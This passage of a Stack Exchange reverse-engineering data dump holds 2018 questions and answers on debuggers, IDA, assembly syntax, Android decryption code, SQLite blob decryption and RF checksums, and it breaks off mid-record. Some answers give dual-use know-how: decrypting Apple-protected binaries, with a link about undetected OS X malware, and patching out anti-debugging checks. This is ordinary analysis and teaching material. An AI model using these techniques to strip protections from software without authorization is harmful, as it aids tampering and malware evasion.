  <row Id="18225" PostTypeId="2" ParentId="18223" CreationDate="2018-05-10T09:52:10.493" Score="4" Body="&lt;p&gt;Here you have more details about Apple Binary Protection:&#xA;&lt;a href=&quot;http://cerbero-blog.com/?p=1311&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating undetected malware for OS X&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting &lt;code&gt;SMC_DEVICE_KEY&lt;/code&gt; value in &lt;code&gt;~/.idapro/macho.cfg&lt;/code&gt; works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.hopperapp.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hopper Disassembler&lt;/a&gt; out of the box can decrypt those binaries too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At last, you can also run &lt;a href=&quot;https://github.com/nygard/class-dump/blob/master/deprotect.m&quot; rel=&quot;nofollow noreferrer&quot;&gt;deprotect&lt;/a&gt; from &lt;a href=&quot;https://github.com/nygard/class-dump/&quot; rel=&quot;nofollow noreferrer&quot;&gt;class-dump&lt;/a&gt; to decrypt those binaries &lt;code&gt;(__TEXT,__text)&lt;/code&gt; section.&lt;/p&gt;&#xA;" OwnerUserId="24324" LastEditorUserId="24324" LastEditDate="2018-05-10T12:11:02.743" LastActivityDate="2018-05-10T12:11:02.743" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18226" PostTypeId="1" AcceptedAnswerId="18227" CreationDate="2018-05-10T14:02:29.710" Score="2" ViewCount="3259" Body="&lt;p&gt;I see  word NASM, MASM, Intel, AT&amp;amp;T. I am confused between them. Is it different types of assembly?&lt;/p&gt;&#xA;" OwnerUserId="17777" LastActivityDate="2022-02-10T16:53:46.293" Title="NASM, MASM, Intel, AT&amp;T' syntax?" Tags="|assembly|nasm|intel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18227" PostTypeId="2" ParentId="18226" CreationDate="2018-05-10T14:33:56.440" Score="4" Body="&lt;p&gt;You are confusing several things.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;nasm&lt;/code&gt;, &lt;code&gt;masm&lt;/code&gt; and &lt;code&gt;gas&lt;/code&gt; (GNU Assembler) are tools that compile an x86 assembly text file into an executable. Each of them do have a specific syntax to specify  your program. But, they share a lot on assembly instructions.&lt;/p&gt;&#xA;&lt;p&gt;Then, Intel and AT&amp;amp;T are specific syntax to write x86 assembly programs. In fact, &lt;code&gt;nasm&lt;/code&gt; and &lt;code&gt;masm&lt;/code&gt; use the Intel syntax, where &lt;code&gt;gas&lt;/code&gt; is using the AT&amp;amp;T syntax.&lt;/p&gt;&#xA;" OwnerUserId="53" LastEditorUserId="11830" LastEditDate="2022-02-10T16:53:46.293" LastActivityDate="2022-02-10T16:53:46.293" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18228" PostTypeId="1" CreationDate="2018-05-10T19:25:22.207" Score="1" ViewCount="14997" Body="&lt;p&gt;I am trying to debug a simple buffer overflow program using gdb . I analyzed the program on windows without any issues .But now i am using linux gdb with exact same program but i am getting &quot;Cannot access memory at address 0xffffffffffffdfa0&quot; error while accessing esp and a variable.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/otZOU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/otZOU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me out&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="24317" LastActivityDate="2018-12-07T06:48:30.790" Title="Cannot Access memory error" Tags="|gdb|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18232" PostTypeId="1" CreationDate="2018-05-11T04:01:44.817" Score="2" ViewCount="2496" Body="&lt;p&gt;Win10x64: In Windbg, how may I view a pointer to the &lt;code&gt;PEB&lt;/code&gt; by directly using &lt;code&gt;GS:[0x60]&lt;/code&gt; (and not by Windbg extensions)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To test, I assembled a program via masm64 that throws an interrupt, clears &lt;code&gt;r8&lt;/code&gt; then moves a pointer to the &lt;code&gt;PEB&lt;/code&gt; to &lt;code&gt;r8&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(3a4.2034): Break instruction exception - code 80000003 (!!! second chance !!!)&#xA;*** WARNING: Unable to verify checksum for C:\Users\res\Desktop\cfg\test.exe&#xA;*** ERROR: Module load completed but symbols could not be loaded for C:\Users\res\Desktop\cfg\test.exe&#xA;test+0x10c1:&#xA;00007ff6cedf10c1 4d33c0          xor     r8,r8&#xA;0:000&amp;gt; r&#xA;rax=00007ff6cedf1000 rbx=0000000000000000 rcx=00007ff6cedf1068&#xA;rdx=00007ff6cedf1075 rsi=0000000000000000 rdi=0000000000000000&#xA;rip=00007ff6cedf10c1 rsp=0000006642d8f730 rbp=0000000000000000&#xA;r8=0000000000000000  r9=00007ff6cedf1000 r10=0000000000000000&#xA;r11=0000000000000000 r12=0000000000000000 r13=0000000000000000&#xA;r14=0000000000000000 r15=0000000000000000&#xA;iopl=0         nv up ei pl zr na po nc&#xA;cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b               efl=00000244`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Afterwards, &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/5868/how-can-i-view-fs0-with-windbg&quot;&gt;I checked the base address for GS via selector&lt;/a&gt;, but it's not populated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; dg gs&#xA;                                                P Si Gr Pr Lo&#xA;Sel        Base              Limit          Type    l ze an es ng Flags`&#xA;---- ----------------- ----------------- ---------- - -- -- -- -- --------&#xA;002B 00000000 00000000 00000000 ffffffff Data RW Ac 3 Bg Pg P  Nl 00000cf3`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Naturally its null when I try to dump &lt;code&gt;GS:[0x60]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I step into the instruction that moves the &lt;code&gt;PEB&lt;/code&gt; pointer into &lt;code&gt;r8&lt;/code&gt;, &lt;code&gt;r8&lt;/code&gt; has a distinct value!:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;test+0x10c4:&#xA;00007ff6 cedf10c4 654c8b042560000000 mov   r8,qword ptr gs:[60h]    gs:00000000 00000060=????????????????&#xA;0:000&amp;gt; t&#xA;test+0x10cd:&#xA;00007ff6 cedf10cd 4d8b4018        mov     r8,qword ptr [r8+18h]   ds:00000066 42e0a018={ntdll!PebLdr (00007ff8 c642f3a0)}&#xA;0:000&amp;gt; r&#xA;rax=00007ff6cedf1000 rbx=0000000000000000 rcx=00007ff6cedf1068&#xA;rdx=00007ff6cedf1075 rsi=0000000000000000 rdi=0000000000000000&#xA;rip=00007ff6cedf10cd rsp=0000006642d8f730 rbp=0000000000000000&#xA;r8=0000006642e0a000  r9=00007ff6cedf1000 r10=0000000000000000&#xA;r11=0000000000000000 r12=0000000000000000 r13=0000000000000000&#xA;r14=0000000000000000 r15=0000000000000000&#xA;iopl=0         nv up ei pl zr na po nc&#xA;cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b               efl=00000246&#xA;test+0x10cd:&#xA;00007ff6 cedf10cd 4d8b4018        mov     r8,qword ptr [r8+18h] ds:00000066 42e0a018={ntdll!PebLdr (00007ff8 c642f3a0)}`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10058" LastEditorUserId="18014" LastEditDate="2018-05-11T06:04:31.343" LastActivityDate="2019-12-07T19:02:45.367" Title="Windbg: How to directly view GS:[0x60]" Tags="|windbg|x86-64|windows-10|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18234" PostTypeId="2" ParentId="125" CreationDate="2018-05-11T08:08:11.743" Score="0" Body="&lt;p&gt;There is a way to recompile with this opensource app, called RetDec:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/avast-tl/retdec&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/avast-tl/retdec&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user24335" LastActivityDate="2018-05-11T08:08:11.743" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="18235" PostTypeId="1" CreationDate="2018-05-11T10:53:07.253" Score="2" ViewCount="474" Body="&lt;p&gt;I am trying to decrypt an encrypted string, but I am stuck in &lt;code&gt;Ciper.doFinal()&lt;/code&gt; where the decryption throws a &lt;code&gt;BadPaddingException&lt;/code&gt;.&#xA;The string in question is &lt;strong&gt;3qBogw/PIqpErH/DyEHLTQ==&lt;/strong&gt;. One thing I know is that the string when decrypted contains a number (It is used in &lt;code&gt;Integer.valueOf()&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the following method is called;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static String getRandom() {&#xA;    String str1 = UUID.randomUUID().toString();&#xA;    String str2 = dCpw^jDyaip^Hfy]XgdRbp_imwbheJCFxTF^ligkteDEdrbtsu\yIV[;&#xA;    StringBuilder localStringBuilder = new StringBuilder();&#xA;    localStringBuilder.append(str1);&#xA;    localStringBuilder.append(str2);&#xA;    return StringUtils.replaceEachRepeatedly(localStringBuilder.toString(), new String[] { &quot;dCp&quot; }, new String[] { &quot;gPs&quot; });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Nothing too fancy here just creates a UUID and concats it with a constant string and also uses Apache StringUtils to replace all occurances of dCp to gPs - (not sure why that is required)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static String decrypt(String str) {&#xA;   try {&#xA;      String random = getRandom();&#xA;      byte[] decode = Base64.decode(str, 0);&#xA;      byte[] array = convertToArray(random);&#xA;      return new String(ciperDecrypt(decode, array, array), &quot;UTF-8&quot;);&#xA;   } catch (Exception e) {&#xA;      e.printStackTrace();&#xA;      return &quot;&quot;;&#xA;   }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here in the decrypt method, the generated random value is passed to a method in order to convert it to a byte array. &#xA;Following is that method,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private static byte[] convertToArray(String str) throws UnsupportedEncodingException {&#xA;    byte[] obj = new byte[16];&#xA;    byte[] bytes = str.getBytes(&quot;UTF-8&quot;);&#xA;    int length = str.length();&#xA;    System.arraycopy(bytes, 0, obj, 0, Math.min(bytes.length, obj.length));&#xA;    return obj;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is nothing fancy here too, just returns a byte array obtained from &lt;code&gt;String.getBytes()&lt;/code&gt; methods. But what is interesting is that only first 16 bytes are used. This is what worries me, if you look at this carefully, in the &lt;code&gt;getRandom()&lt;/code&gt; method they concat a &lt;code&gt;UUID&lt;/code&gt; string and another constant string. But once the same string is passed to this method, the rest of the string is ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then finally ciperDecrypt method uses a &lt;code&gt;Ciper&lt;/code&gt; to decrypt the string. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static byte[] ciperDecrypt(byte[] paramArrayOfByte1, byte[] paramArrayOfByte2, byte[] paramArrayOfByte3) {&#xA;    try {&#xA;        Cipher localCipher = Cipher.getInstance(&quot;AES/CBC/PKCS5Padding&quot;);&#xA;        SecretKeySpec secret = new SecretKeySpec(paramArrayOfByte2, &quot;AES&quot;);&#xA;        IvParameterSpec param = new IvParameterSpec(paramArrayOfByte3);&#xA;        localCipher.init(2, secret, param);&#xA;        return localCipher.doFinal(paramArrayOfByte1);&#xA;    } catch (Exception e) {&#xA;        e.printStackTrace();&#xA;    }&#xA;    return null;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This procedure looks fine, but when I try to execute it, I get a &lt;code&gt;BadPaddingException&lt;/code&gt; when the &lt;code&gt;doFinal()&lt;/code&gt; line is executed. What I suspect is in the creation of the &lt;code&gt;byte[]&lt;/code&gt; where there is some data loss. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be really helpful if anyone can identify where I have gone wrong. &#xA;I would really appreciate it, &#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="24339" LastEditorUserId="24339" LastEditDate="2018-05-11T22:50:04.250" LastActivityDate="2018-05-15T03:26:31.097" Title="JAVA Decryption - Reverse engineering an Android application" Tags="|android|java|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18236" PostTypeId="2" ParentId="18217" CreationDate="2018-05-11T14:21:35.643" Score="0" Body="&lt;p&gt;I think you're using some of the old version of r2, so my answer will not address that and show you how to do it with the latest one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is with your first line, or wrong assumption that starting the debug session and applying rarun2 file will automatically get applied. It's not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of connecting to r2 engine like this &lt;code&gt;r = r2pipe.open('crackme', flags=['-d'])&lt;/code&gt; do this instead&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r = r2pipe.open('crackme') #no debugging flag&#xA;r.cmd('e dbg.profile=robot.rr2')&#xA;r.cmd('ood') #reopen the file in debug mode - this will apply the dbg.profile settings&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With this approach, it will correctly map the settings in rr2 to the debugging session and in case you put input.txt it will inform that the file doesn't exist (it treats this as a file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But even with that approach, this crackme does some strange modifications to streams that are hard to follow. But at least with this change, you would be able to continue the investigation.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-05-11T14:21:35.643" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="18237" PostTypeId="1" CreationDate="2018-05-11T14:56:09.113" Score="2" ViewCount="4927" Body="&lt;p&gt;I have a SQLite database that contains a dictionary (just words and definitions) that can be opened with free but proprietary software. To use with the software, it requires an 'unlock' key, which I have. I'm able to see it in this program, but I'd like to manipulate the data and re-arrange it.&#xA;Currently, I'm paying freelancers on Fiverr to copy/paste every entry to a text document. Old-School Scraping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can open these documents in a SQL viewer like DBBrowser for SQLite. The entry listings are in plaintext, but the definitions are in BLOBs. I've tried hex(), which didn't work. I thought there was somewhere I could paste my key in to decrypt this, but I can't find that. What should I do here?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have the database&lt;/li&gt;&#xA;&lt;li&gt;I have the key required for unlocking it within the software that reads it&lt;/li&gt;&#xA;&lt;li&gt;I have the software that reads it&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This is my first venture into reverse engineering, so I appreciate your help and patience.&lt;/p&gt;&#xA;" OwnerUserId="24345" LastEditorUserId="24345" LastEditDate="2018-05-11T17:11:09.700" LastActivityDate="2018-05-11T21:27:21.007" Title="Decrypting SQLite Database with key" Tags="|encryption|decryption|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18238" PostTypeId="1" AcceptedAnswerId="18240" CreationDate="2018-05-11T15:25:53.100" Score="1" ViewCount="850" Body="&lt;p&gt;I want to extract a generic signature of a function in IDA and wanted to use just the opcodes of the instructions without its operands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kkrzx.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kkrzx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the first instruction I want to know the bytes that tell the disassembler that it is a MOVZX instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the second and third one the ones that say it is a MOV instruction (probably 8B).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And so on..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm aware that some instructions have modifiers. I just want to know the bytes that translate to certain &lt;strong&gt;mnemonic.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="19332" LastActivityDate="2018-05-11T20:58:55.143" Title="Know which bytes are opcode and which operands in IDA" Tags="|ida|disassembly|disassemblers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18240" PostTypeId="2" ParentId="18238" CreationDate="2018-05-11T20:58:55.143" Score="4" Body="&lt;p&gt;In general this is not solvable since the opcode and operands may be sharing the same bytes (e. g. some instructions encode part of their opcode in the mod R/M byte, which can also  contain some of the operands at the same time), but you can get some  approximation by inspecting the &lt;code&gt;Operands&lt;/code&gt; array of the &lt;code&gt;insn_t&lt;/code&gt; structure returned by the &lt;code&gt;decode_insn&lt;/code&gt; function. The &lt;code&gt;offb&lt;/code&gt; member of each &lt;code&gt;op_t&lt;/code&gt; element is supposed to be the offset of the bytes corresponding to the operand in the instruction bytes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it may be 0 since it’s not always possible to determine operand location at the byte level, especially on non-x86 architectures. For more info check the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/ua_8hpp.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;ua.hpp&lt;/code&gt; header&lt;/a&gt; in the SDK.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-05-11T20:58:55.143" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18241" PostTypeId="2" ParentId="18237" CreationDate="2018-05-11T21:16:37.273" Score="4" Body="&lt;p&gt;There exists an &lt;a href=&quot;https://www.sqlite.org/see/doc/trunk/www/index.wiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;official encryption addon for SQLite&lt;/a&gt; but from your description it sounds more like the data is simply stored encrypted in the blobs and the application decrypts it internally before displaying its content, however:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;we don’t know the exact encryption algorithm&lt;/li&gt;&#xA;&lt;li&gt;we don’t know how the password you enter is converted into the decryption key&lt;/li&gt;&#xA;&lt;li&gt;we don’t know how the decrypted data is converted to what you see on the screen&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;To solve your problem you need to find the answers to these questions (and possibly others I did not think of).  You can try doing it by guessing and trying different algorithms but I doubt you’ll get lucky with just that.&lt;/p&gt;&#xA;&lt;p&gt;If I had to do it, I would probably proceed like this:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Disassemble or debug the binary and identify the SQLite API functions, possibly by looking at references to the database/ tables/column names and/or comparing the compiled code against the SQLite source.&lt;/li&gt;&#xA;&lt;li&gt;check what is done with the data retrieved from the DB and see if any functions handling it look like decryption functions (e.g. use standard crypto constants or have a particular loop structure).&lt;/li&gt;&#xA;&lt;li&gt;see where the decryption key comes from and try to figure out how it’s derived from the password (optional, since we can just use the final key from the debugger)&lt;/li&gt;&#xA;&lt;li&gt;if the structure of the decrypted data is non-obvious, check how it’s parsed and outputted.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;P.S. for a more low-tech solution you could try some UI automation solutions (e.g. possibly AutoIt) but this is out of scope on this site.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-05-11T21:27:21.007" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18242" PostTypeId="2" ParentId="8030" CreationDate="2018-05-12T02:03:50.253" Score="1" Body="&lt;p&gt;It is likely that the first instruction &lt;em&gt;after&lt;/em&gt; the NOP is the target of a different branch/jump somewhere else. Jumping to aligned targets is normally preferable both for better i-cache utilization and for better BTB predictions:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;11.5 Alignment of code&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Most microprocessors fetch code in aligned 16-byte or 32-byte blocks. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If an important subroutine entry or jump&#xA;  label happens to be near the end of a 16-byte block then the&#xA;  microprocessor will only get a few useful bytes of code when fetching&#xA;  that block of code. It may have to fetch the next 16 bytes too before&#xA;  it can decode the first instructions after the label. This can be&#xA;  avoided by aligning important subroutine entries and loop entries by&#xA;  16. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aligning by 8 will assure that at least 8 bytes of code can be loaded with the first instruction fetch, which may be sufficient if&#xA;  the instructions are small. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;We may align subroutine entries by the&#xA;  cache line size (typically 64 bytes) if the subroutine is part of a&#xA;  critical hot spot and the preceding code is unlikely to be executed in&#xA;  the same context.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://agner.org/optimize/optimizing_assembly.pdf#page=86&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://agner.org/optimize/optimizing_assembly.pdf#page=86&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would make that NOP just a padding to align the following instructions. As pointed out elsewhere, adding padding for this must be done carefully because adding padding blindly is likely to lead to &lt;em&gt;worse&lt;/em&gt; i-cache usage and therefore a decrease in performance. Always measure.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;note: in other architectures (i.e. not x86/x86-64) NOPs after calls are sometimes required; since the question is about x86-64 this shouldn't apply.&lt;/p&gt;&#xA;" OwnerUserId="24351" LastActivityDate="2018-05-12T02:03:50.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18244" PostTypeId="2" ParentId="18195" CreationDate="2018-05-12T07:49:48.060" Score="2" Body="&lt;p&gt;There is no exact way to bypass them but when I have to deal with them, I first try to figure out all those places where anti techniques have been present in assembly code by generally looking at imports and api calls. Then the best way to bypass them is to patch them with some other instructions, so when you run the program there code doesn't get executed. &lt;/p&gt;&#xA;" OwnerUserId="21932" LastActivityDate="2018-05-12T07:49:48.060" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18245" PostTypeId="1" CreationDate="2018-05-12T12:17:48.990" Score="5" ViewCount="14755" Body="&lt;p&gt;I am trying to add 'xAnalyzer' plugin into it but after copying the files, I can't see it in debugger.&#xA;Its installation instructions are not working. &lt;/p&gt;&#xA;" OwnerUserId="24356" LastActivityDate="2021-04-12T05:41:31.000" Title="How can i add plugins in x64dbg?" Tags="|debuggers|x64dbg|plugin|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="18246" PostTypeId="1" AcceptedAnswerId="18253" CreationDate="2018-05-12T13:00:05.050" Score="1" ViewCount="1160" Body="&lt;p&gt;I need to add new case, so here is that I do.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Copy the jump table for switch statement to &lt;code&gt;0048199C&lt;/code&gt; and add new ref to &lt;code&gt;4819C0&lt;/code&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/8N3Cc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8N3Cc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Add new instructions below &lt;a href=&quot;https://i.stack.imgur.com/Zz3zm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zz3zm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set new address &lt;code&gt;0048199C&lt;/code&gt;&lt;a href=&quot;https://i.stack.imgur.com/NX6NU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NX6NU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;In the indirect table for switch statement (&lt;code&gt;004061C4&lt;/code&gt;) change the one 7 to 8 &lt;a href=&quot;https://i.stack.imgur.com/Krjgm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Krjgm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Apply patches and try using a new case and see how that works. It's ok. The program does what I want.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After that click F5 and finally got such error:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Fpsj9.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fpsj9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's wrong and how do I fix it? I'm using IDA v7.0.170914&lt;/p&gt;&#xA;" OwnerUserId="24357" LastEditorUserId="24357" LastEditDate="2018-05-13T12:12:56.870" LastActivityDate="2018-05-13T12:12:56.870" Title="Hex-Rays can't parse switch (bad target for case)" Tags="|ida|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18247" PostTypeId="1" CreationDate="2018-05-12T13:38:29.657" Score="1" ViewCount="324" Body="&lt;p&gt;I am completely new to reverse engineering.  I have a Razer Atrox Xbox One Fight Stick that I purchased recently.  It does not work with windows 10 with the drivers installed by Microsoft version (10.0.17134.1), but when I revert back to an older version (6.2.11059.0), 6 of the 8 buttons on the fightstick work, along with the stick itself.  I'm trying to understand why 2 of the buttons still do not work.  I had done some reading on the Microsoft page about USB and how it works, but i'm not sure if all that I am reading is relevant to my goal.  Can someone help point me in the right direction on how I could go about writing my own drivers for this device?  Thank you!&lt;/p&gt;&#xA;" OwnerUserId="24358" LastActivityDate="2018-06-14T07:33:12.760" Title="Reverse engineering a USB Fight Stick" Tags="|windows|driver|usb|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="18250" PostTypeId="1" AcceptedAnswerId="18265" CreationDate="2018-05-13T00:59:26.717" Score="3" ViewCount="385" Body="&lt;p&gt;I am banging my head to figure out the checksum of a RF device, it seems to be a simple one but no luck so far...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first 3 bytes is the SyncWord then 9 bytes is the payload and the last byte presumably is the checksum.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;          +-------+-------+-------+-------+ ... +--------+--------+&#xA;          | byte0 | byte1 | byte2 | byte3 | ... | byte11 | byte12 |&#xA;          +-------+-------+-------+-------+ ... +--------+--------+&#xA;          &amp;lt;---- SyncWord (3) ----&amp;gt; &amp;lt;--- Payload (9) ----&amp;gt; &amp;lt;- CRC -&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems some kind of linear function but I cannot figure it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be appreciated!&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Some ordered output&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xE1,0xC0,0x0A,0x0E,0xAA,0x70,0x30,0x30,0x96,0x84,0x27,0x13,0xF6&#xA;0xE1,0xC0,0x0A,0x0E,0xAA,0x60,0x30,0x30,0x96,0x84,0x27,0x13,0xE6&#xA;0xE1,0xC0,0x0A,0x4E,0x8A,0x60,0x38,0x34,0x94,0x84,0x27,0x13,0x10&#xA;0xE1,0xC0,0x0A,0x4E,0x8A,0x70,0x38,0x34,0x94,0x84,0x27,0x13,0x20&#xA;0xE1,0xC0,0x0A,0x4E,0xAA,0x60,0x30,0x34,0x94,0x84,0x27,0x13,0x28&#xA;0xE1,0xC0,0x0A,0x4E,0xAA,0x60,0x38,0x34,0x94,0x84,0x27,0x13,0x30&#xA;0xE1,0xC0,0x0A,0x4E,0xAA,0x70,0x30,0x34,0x94,0x84,0x27,0x13,0x38&#xA;&#xA;0xE1,0xC0,0x0A,0x4F,0x8A,0x70,0x30,0x14,0x9C,0x81,0x25,0x12,0xFB&#xA;0xE1,0xC0,0x0A,0x4F,0xAA,0x70,0x30,0x14,0x9C,0x81,0x25,0x12,0x1B&#xA;0xE1,0xC0,0x0A,0x0E,0xAA,0x70,0x30,0x34,0x94,0x85,0x27,0x13,0xF9&#xA;0xE1,0xC0,0x0A,0x0E,0x8A,0x60,0x38,0x34,0x94,0x85,0x27,0x13,0xD1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Samples&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xE1,0xC0,0x0A,0x5F,0x8E,0x74,0x39,0x15,0x9C,0x89,0x03,0x33,0x24&#xA;0xE1,0xC0,0x0A,0x1F,0xAE,0x74,0x39,0x15,0x9C,0x89,0x03,0x33,0x04&#xA;0xE1,0xC0,0x0A,0x5F,0xAE,0x74,0x39,0x15,0x9C,0x89,0x03,0x33,0x44&#xA;0xE1,0xC0,0x0A,0x5F,